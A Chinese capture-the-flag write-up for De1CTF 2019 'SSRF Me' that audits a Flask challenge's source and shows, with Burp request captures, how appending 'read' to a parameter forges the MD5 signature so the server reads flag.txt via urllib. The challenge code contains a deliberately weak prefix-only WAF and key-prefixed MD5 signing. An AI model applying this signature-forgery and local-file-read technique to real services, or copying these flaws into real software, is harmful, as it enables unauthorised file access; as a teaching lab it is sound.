

# 代码审计 | [De1CTF 2019]SSRF Me

原创

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## [De1CTF 2019]SSRF Me

### 前言

以为是flask模板注入, 但是看了其他师傅的writeup后发现是一个代码审计的流程, 那就安心审计代码吧。

提示flag在/flag.txt中

### 整理后代码

```
#!/usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
```

```

        result['code'] = 500
    if (self.checkSign()):
        if "scan" in self.action:
            tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
            resp = scan(self.param)
            if (resp == "Connection Timeout"):
                result['data'] = resp
            else:
                print resp
                tmpfile.write(resp)
                tmpfile.close()
            result['code'] = 200
        if "read" in self.action:
            f = open("./%s/result.txt" % self.sandbox, 'r')
            result['code'] = 200
            result['data'] = f.read()
        if result['code'] == 500:
            result['data'] = "Action Error"
    else:
        result['code'] = 500
        result['msg'] = "Sign Error"
    return result

def checkSign(self):
    if (getSign(self.action, self.param) == self.sign):
        return True
    else:
        return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

```

```

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

```

首先我们看这个路由：

```

@app.route('/Delta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

```

首先是创建了一个 `Task` 的类，`action`、`sign` 的值是由 `cookie` 得到，而 `param` 的值就是直接通过 GET 方法传递 `param` 参数的值得到，`ip` 就是你的 `ip地址`，接着 `param参数` 会经过 `waf`，如果过了 `waf`，则执行这个类的 `Exec`。

顺着这个思路，我们追溯到 `waf` 这个方法上：

```

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

```

这个 `waf` 还是比较简单的 `waf`，只要求 `param参数` 不是以 `gopher` 和 `file` 开头就能过 `waf`，也就是过滤了这两个协议，使我们不能通过协议读取文件来。

最终 `Task` 类的 `Exec` 方法自然是结题的关键，我们跟进一下：

```

def Exec(self):
    result = {}
    result['code'] = 500
    if (self.checkSign()):
        if "scan" in self.action:
            tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
            resp = scan(self.param)
            if (resp == "Connection Timeout"):
                result['data'] = resp
            else:
                print resp
                tmpfile.write(resp)
                tmpfile.close()
            result['code'] = 200
        if "read" in self.action:
            f = open("./%s/result.txt" % self.sandbox, 'r')
            result['code'] = 200
            result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
    return result

```

如果 `self.checkSign()` 为真，那么我们可以将传递的 `param参数` 进入到 `scan` 方法，先跟进 `scan` 方法：

```

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

```

这里是关键，通过我们构造的 `param参数` 发现达到进行任意文件读取的效果，所以我们现在要做的就是如何使 `self.checkSign()` 为真，跟进：

```

def checkSign(self):
    if (getSign(self.action, self.param) == self.sign):
        return True
    else:
        return False
def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

```

只要我们在cookie中传入的 `sign ==getSign(cookie传入的action,GET传递的param)` 就能返回 `True`

在这里我们是不知道 `secert_key` 的值，从而无法得到 `getSign` 返回的值，但是在这里发现：

```

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

```

这里能够得到`getSign('scan',GET传递的param)`的值，这也是我们唯一能利用的地方，这里我们GET的 `param参数` 的值很明确，就是`flag.txt`，我们能通过`geneSign`得到的`sign`的值是`md5(secret_key+ param+'scan')`，而最后我们在 `/De1ta?param=` 的值一定是 `flag.txt`，而且必须要满足：

```
if "scan" in self.action
if "read" in self.action:
```

我们可以这样，在`/geneSign`的`param`参数的值为`flag.txtread`，这样我们得到的sign就是`md5(secret_key+flag.txtreadscan)`，而访问`/De1ta?param`传递的值为`flag.txt`，且通过cookie传入的action的值为`readscan`，这样

```
getSign(self.action, self.param) == getSign(flag.txtreadscan)
== md5(secret_key+flag.txtreadscan)
```

而这个sign我们是知道的，因此可以成功读取`flag.txt`

The screenshot shows the Burp Suite Professional interface. The Target bar at the top indicates the target is `http://0c1c08dc-de73-44e1-9bab-0efd02beef84.node3.buuoj.cn`. The Request tab on the left shows a GET request to `/geneSign?param=flag.txtread` with the following headers:

```
GET /geneSign?param=flag.txtread HTTP/1.1
Host: 0c1c08dc-de73-44e1-9bab-0efd02beef84.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
Accept-Language: zh-CN, zh;q=0.8, zh-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
```

The Response tab on the right shows the server's response:

```
HTTP/1.1 200 OK
Server: openresty
Date: Sun, 09 Feb 2020 13:54:22 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 32
Connection: close
38713ea9d6fcf9affcbfe082fcb2fcea
```

At the bottom, the status bar shows `https://blog.186 bytes | 41 millis`.

得到`sign=38713ea9d6fcf9affcbfe082fcb2fcea`；

The screenshot shows the Burp Suite Professional interface. The Target bar at the top indicates the target is `http://0c1c08dc-de73-44e1-9bab-0efd02beef84.node3.buuoj.cn`. The Request tab on the left shows a GET request to `/De1ta?param=flag.txt` with the following query parameter:

```
?param=flag.txt
```

The Response tab on the right shows the server's response:

```
HTTP/1.1 200 OK
```

At the bottom, the status bar shows `https://blog.186 bytes | 41 millis`.

```
Host: 0c1c08dc-de73-44e1-9bab-0efd02beef84.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0)
Gecko/20100101 Firefox/69.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
cookie: action=readscan;sign=38713ea9d6fcf9affcbfe082fcb2fce
Upgrade-Insecure-Requests: 1
```

```
Server: openresty
Date: Sun, 09 Feb 2020 13:55:57 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 69
Connection: close
{"code": 200, "data":
"flag{e7c88bfc-e0d3-4617-9f73-99f9ae4d857b}\n"}
```

[? < + > Type a search term 0 matches

Done

[? < + > Type a search term 0 matches

<https://blog> 223 bytes | 46 millis

传递 `action` 和得到的 `sign`, 得到flag!